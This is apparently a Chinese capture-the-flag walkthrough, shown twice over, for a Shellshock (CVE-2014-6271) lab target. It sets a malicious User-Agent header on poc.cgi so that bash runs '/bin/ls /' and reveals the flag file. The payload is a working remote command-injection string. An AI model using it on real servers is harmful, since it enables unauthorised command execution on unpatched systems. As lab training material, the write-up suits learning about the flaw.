靶场地址:http://www.whalwl.site:8029/
解题准备:CVE编号:CVE-2014-6271
解题思路:
1、点击靶场主页的poc.cgi进行抓包,修改User-Agent:
User-Agent: () { foo; }; echo Content-Type: text/plain; echo; /bin/ls /
2、成功执行后,即可发现flag文件
3、继续查看flag
靶场地址:http://www.whalwl.site:8029/
解题准备:CVE编号:CVE-2014-6271
解题思路:
1、点击靶场主页的poc.cgi进行抓包,修改User-Agent:
User-Agent: () { foo; }; echo Content-Type: text/plain; echo; /bin/ls /
2、成功执行后,即可发现flag文件
3、继续查看flag